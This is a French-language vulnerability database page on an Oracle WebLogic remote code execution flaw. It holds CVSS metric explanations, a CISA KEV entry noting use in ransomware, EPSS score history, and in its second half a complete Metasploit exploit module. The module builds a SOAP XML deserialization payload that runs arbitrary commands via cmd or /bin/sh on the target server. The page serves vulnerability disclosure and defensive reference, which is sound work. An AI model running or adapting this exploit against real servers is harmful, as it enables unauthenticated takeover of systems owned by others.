CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
Missing Authentication for Critical Function The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
7.5
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
None
There is no loss of confidentiality within the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Oracle Corporation WebLogic Server Remote Code Execution Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Known
Ajouter le : 2022-02-09 23h00 +00:00
Action attendue : 2022-08-09 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
34.2%
–
–
–
–
2021-09-05
–
34.2%
–
–
–
2022-01-09
–
34.2%
–
–
–
2022-02-06
–
–
94.55%
–
–
2023-03-12
–
–
–
97.52%
–
2023-04-23
–
–
–
97.5%
–
2023-05-21
–
–
–
97.49%
–
2023-07-09
–
–
–
97.43%
–
2023-09-03
–
–
–
97.44%
–
2023-12-17
–
–
–
97.43%
–
2024-06-02
–
–
–
97.38%
–
2024-07-07
–
–
–
97.41%
–
2024-07-28
–
–
–
97.18%
–
2024-10-06
–
–
–
97.16%
–
2024-12-22
–
–
–
96.78%
–
2025-03-02
–
–
–
96.9%
–
2025-01-19
–
–
–
96.78%
–
2025-03-09
–
–
–
96.9%
–
2025-03-18
–
–
–
–
94.44%
2025-03-18
–
–
–
–
94.44,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2018-01-28 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
# include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle WebLogic wls-wsat Component Deserialization RCE',
'Description' => %q(
The Oracle WebLogic WLS WSAT Component is vulnerable to a XML Deserialization
remote code execution vulnerability. Supported versions that are affected are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by Alexey Tyurin
of ERPScan and Federico Dotta of Media Service. Please note that SRVHOST, SRVPORT,
HTTP_DELAY, URIPATH and related HTTP Server variables are only used when executing a check
and will not be used when executing the exploit itself.
),
'License' => MSF_LICENSE,
'Author' => [
'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>', # Metasploit module
'Luffin', # Proof of Concept
'Alexey Tyurin', 'Federico Dotta' # Vulnerability Discovery
],
'References' =>
[
['URL', 'https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html'], # Security Bulletin
['URL', 'https://github.com/Luffin/CVE-2017-10271'], # Proof-of-Concept
['URL', 'https://github.com/kkirsche/CVE-2017-10271'], # Standalone Exploit
['CVE', '2017-10271'],
['EDB', '43458']
],
'Platform' => %w{ win unix },
'Arch' => [ ARCH_CMD ],
'Targets' =>
[
[ 'Windows Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ],
[ 'Unix Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
],
'DisclosureDate' => "Oct 19 2017",
# Note that this is by index, rather than name. It's generally easiest
# just to put the default at the beginning of the list and skip this
# entirely.
'DefaultTarget' => 0
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']),
OptPort.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]),
OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0]),
# OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 10])
])
end
def cmd_base
if target['Platform'] == 'win'
return 'cmd'
else
return '/bin/sh'
end
end
def cmd_opt
if target['Platform'] == 'win'
return '/c'
else
return '-c'
end
end
#
# This generates a XML payload that will execute the desired payload on the RHOST
#
def exploit_process_builder_payload
# Generate a payload which will execute on a *nix machine using /bin/sh
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>#{cmd_base}</string>
</void>
<void index="1">
<string>#{cmd_opt}</string>
</void>
<void index="2">
<string>#{payload.encoded.encode(xml: :text)}</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>}
end
#
# This builds a XML payload that will generate a HTTP GET request to our SRVHOST
# from the target machine.
#
def check_process_builder_payload
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>#{get_uri.encode(xml: :text)}</string>
</void>
<void idref="url">
<void id="stream" method = "openStream" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>}
end
#
# In the event that a 'check' host responds, we should respond randomly so that we don't clog up
# the logs too much with a no response error or similar.
#
def on_request_uri(cli, request)
random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'
send_response(cli, random_content)
@received_request = true
end
#
# The exploit method connects to the remote service and sends a randomly generated string
# encapsulated within a SOAP XML body. This will start an HTTP server for us to receive
# the response from. This is based off of the exploit technique from
# exploits/windows/novell/netiq_pum_eval.rb
#
# This doesn't work as is because MSF cannot mix HttpServer and HttpClient
# at the time of authoring this
#
# def check
# start_service
#
# print_status('Sending the check payload...')
# res = send_request_cgi({
# 'method' => 'POST',
# 'uri' => normalize_uri(target_uri.path),
# 'data' => check_process_builder_payload,
# 'ctype' => 'text/xml;charset=UTF-8'
# }, datastore['TIMEOUT'])
#
# print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...")
#
# waited = 0
# until @received_request
# sleep 1
# waited += 1
# if waited > datastore['HTTP_DELAY']
# stop_service
# return Exploit::CheckCode::Safe
# end
# end
#
# stop_service
# return Exploit::CheckCode::Vulnerable
# end
#
# The exploit method connects to the remote service and sends the specified payload
# encapsulated within a SOAP XML body.
#
def exploit
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => exploit_process_builder_payload,
'ctype' => 'text/xml;charset=UTF-8'
}, datastore['TIMEOUT'])
end
end
